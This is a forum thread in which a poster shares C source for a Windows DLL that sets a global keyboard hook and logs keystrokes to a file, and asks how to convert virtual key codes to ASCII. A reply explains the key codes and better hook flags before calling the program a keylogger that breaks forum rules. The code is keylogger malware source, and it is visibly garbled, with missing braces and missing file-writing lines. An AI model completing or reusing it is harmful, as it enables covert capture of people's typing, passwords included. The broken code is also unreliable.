Thread: Keyboard hook

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    Keyboard hook

    I have a program that records keyboard input and writes it to a file, but I think the program receives the keyboard values corresponding to certain characters, and not the ASCII values. Ex: The character ";" is recorded as 186 instead of the ASCII value, 59.

    The program is a DLL:

    #include <windows.h>
    #include <stdio.h>
    FILE *f1;
    static HHOOK hkb=NULL;
    int __stdcall __declspec(dllexport) KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
        int ch;
        LPTSTR keyname;
        if (nCode < 0) {
            return 1;
        ch = wParam;
        if (GetAsyncKeyState(ch) == 0) {
                if (f1) {
        LRESULT RetVal = CallNextHookEx(hkb,nCode,wParam,lParam );
        return 0;
    HHOOK __stdcall __declspec(dllexport) installHook(HINSTANCE hins) {
        hkb=SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc,hins,0);
        return hkb;
    If the values are indeed corresponding to how the keyboard interprets them, is this in any way, keyboard-specific?

    Is there any way of efficiently modifying the recorded values - besides the pathetic task of testing to see the keyboard values of each character, and then creating a substitution cipher, that checks each character and modifies it's value - to the ASCII correspondants?

    My best guess is that this question belongs in Windows Programming.

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    wParam contains a virtual key scan code. A list of these codes can be found here: and MSDN explains this in it's WH_KEYBOARD reference: GetAsyncKeyState also just comes in and sucks up your KeyboardProc, in addition to not returning 0 when a key is down. See: for more info. It is also just a very hackish way of checking if it's a WM_KEYDOWN message. Check out the useful flags in lParam instead. It is also very clear that you are making lame malware (keylogger), which is against the rules of the forum.

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    Thanks for the help, and additional advice.

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